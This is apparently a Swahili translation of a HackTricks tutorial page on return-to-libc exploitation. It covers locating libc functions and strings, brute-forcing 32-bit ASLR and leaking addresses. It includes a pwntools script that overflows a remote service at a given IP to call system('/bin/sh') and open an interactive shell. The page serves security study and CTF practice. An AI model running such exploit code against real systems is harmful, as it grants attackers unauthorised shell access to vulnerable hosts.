Ret2lib

Reading time: 7 minutes

tip

Jifunze na fanya mazoezi ya AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Jifunze na fanya mazoezi ya GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Jifunze na fanya mazoezi ya Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Support HackTricks

Taarifa za Msingi

Kiini cha Ret2Libc ni kuelekeza mtiririko wa utekelezaji wa programu iliyo hatarini kwa kazi ndani ya maktaba ya pamoja (e.g., system, execve, strcpy) badala ya kutekeleza shellcode iliyotolewa na mshambuliaji kwenye stack. Mshambuliaji anaunda payload inayobadilisha anwani ya kurudi kwenye stack ili kuelekeza kwenye kazi ya maktaba inayotakiwa, huku pia akipanga kwa usahihi hoja zozote zinazohitajika kulingana na kanuni ya wito.

Hatua za Mfano (rahisi)

  • Pata anwani ya kazi ya kuita (e.g. system) na amri ya kuita (e.g. /bin/sh)
  • Tengeneza mnyororo wa ROP ili kupitisha hoja ya kwanza ikielekeza kwenye mfuatano wa amri na mtiririko wa utekelezaji kwa kazi

Kutafuta anwani

  • Ikiwa libc inayotumika ni ile kutoka kwa mashine ya sasa unaweza kupata ambapo itapakuliwa kwenye kumbukumbu kwa:
bash
ldd /path/to/executable | grep libc.so.6 #Address (if ASLR, then this change every time)

Ikiwa unataka kuangalia kama ASLR inabadilisha anwani ya libc unaweza kufanya:

bash
for i in `seq 0 20`; do ldd ./<bin> | grep libc; done
  • Kujua libc inayotumika pia inawezekana kupata offset ya kazi ya system kwa:
bash
readelf -s /lib/i386-linux-gnu/libc.so.6 | grep system
  • Kujua libc inayotumika pia inawezekana kupata offset ya kazi ya string /bin/sh kwa:
bash
strings -a -t x /lib/i386-linux-gnu/libc.so.6 | grep /bin/sh

Kutumia gdb-peda / GEF

Kujua libc inayotumika, pia inawezekana kutumia Peda au GEF kupata anwani ya kazi ya system, ya kazi ya exit na ya mfuatano wa /bin/sh :

bash
p system
p exit
find "/bin/sh"

Kutumia /proc/<PID>/maps

Ikiwa mchakato unaunda watoto kila wakati unapoizungumza nao (seva ya mtandao) jaribu kusoma faili hiyo (labda utahitaji kuwa root).

Hapa unaweza kupata mahali hasa ambapo libc imepakuliwa ndani ya mchakato na mahali itakapopakuliwa kwa kila mtoto wa mchakato.

Katika kesi hii imepakuliwa katika 0xb75dc000 (Hii itakuwa anwani ya msingi ya libc)

Unknown libc

Inaweza kuwa haiwezekani kwamba hujui libc ambayo binary inapakua (kwa sababu inaweza kuwa kwenye seva ambayo huna ufikiaji wowote). Katika kesi hiyo unaweza kutumia udhaifu huo ili kuvuja anwani kadhaa na kupata ni ipi libc maktaba inatumika:

Leaking libc address with ROP

Na unaweza kupata kiolezo cha pwntools kwa hili katika:

Leaking libc - template

Kujua libc kwa ofseti 2

Angalia ukurasa https://libc.blukat.me/ na tumia anwani kadhaa za kazi ndani ya libc ili kugundua toleo lililotumika.

Kupita ASLR katika bit 32

Mashambulizi haya ya nguvu ni ya manufaa tu kwa mifumo ya 32bit.

  • Ikiwa exploit ni ya ndani, unaweza kujaribu nguvu za msingi wa anwani ya libc (ya manufaa kwa mifumo ya 32bit):
python
for off in range(0xb7000000, 0xb8000000, 0x1000):
  • Ikiwa unashambulia seva ya mbali, unaweza kujaribu kujaribu nguvu anwani ya kazi ya libc usleep, ukipitia kama hoja 10 (kwa mfano). Ikiwa katika wakati fulani seva inachukua sekunde 10 zaidi kujibu, umepata anwani ya kazi hii.

One Gadget

Tekeleza shell kwa kuruka tu kwenye anwani moja maalum katika libc:

One Gadget

x86 Ret2lib Code Example

Katika mfano huu, ASLR brute-force imejumuishwa katika msimbo na binary iliyo hatarini iko kwenye seva ya mbali:

python
from pwn import *

c = remote('192.168.85.181',20002)
c.recvline()

for off in range(0xb7000000, 0xb8000000, 0x1000):
p = ""
p += p32(off + 0x0003cb20) #system
p += "CCCC" #GARBAGE, could be address of exit()
p += p32(off + 0x001388da) #/bin/sh
payload = 'A'*0x20010 + p
c.send(payload)
c.interactive()

x64 Ret2lib Code Example

Angalia mfano kutoka:

ROP - Return Oriented Programing

ARM64 Ret2lib Example

Katika kesi ya ARM64, amri ya ret inaruka kwenye eneo ambalo usajili wa x30 unashikilia na si kwenye eneo ambalo usajili wa stack unashikilia. Hivyo ni ngumu kidogo.

Pia katika ARM64, amri inafanya kile ambacho amri inafanya (haiwezekani kuruka katikati ya amri na kuzibadilisha kuwa mpya).

Angalia mfano kutoka:

Ret2lib + Printf leak - arm64

Ret-into-printf (au puts)

Hii inaruhusu kuvuja taarifa kutoka kwa mchakato kwa kuita printf/puts na data maalum iliyowekwa kama hoja. Kwa mfano, kuweka anwani ya puts katika GOT ndani ya utekelezaji wa puts kutavuja anwani ya puts katika kumbukumbu.

Ret2printf

Hii kwa msingi inamaanisha kutumia Ret2lib kubadilisha kuwa udhaifu wa mfuatano wa printf kwa kutumia ret2lib kuita printf na thamani za ku exploit (inasikika kuwa haina maana lakini inawezekana):

Format Strings

Mifano Mingine & marejeleo

tip

Jifunze na fanya mazoezi ya AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Jifunze na fanya mazoezi ya GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Jifunze na fanya mazoezi ya Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Support HackTricks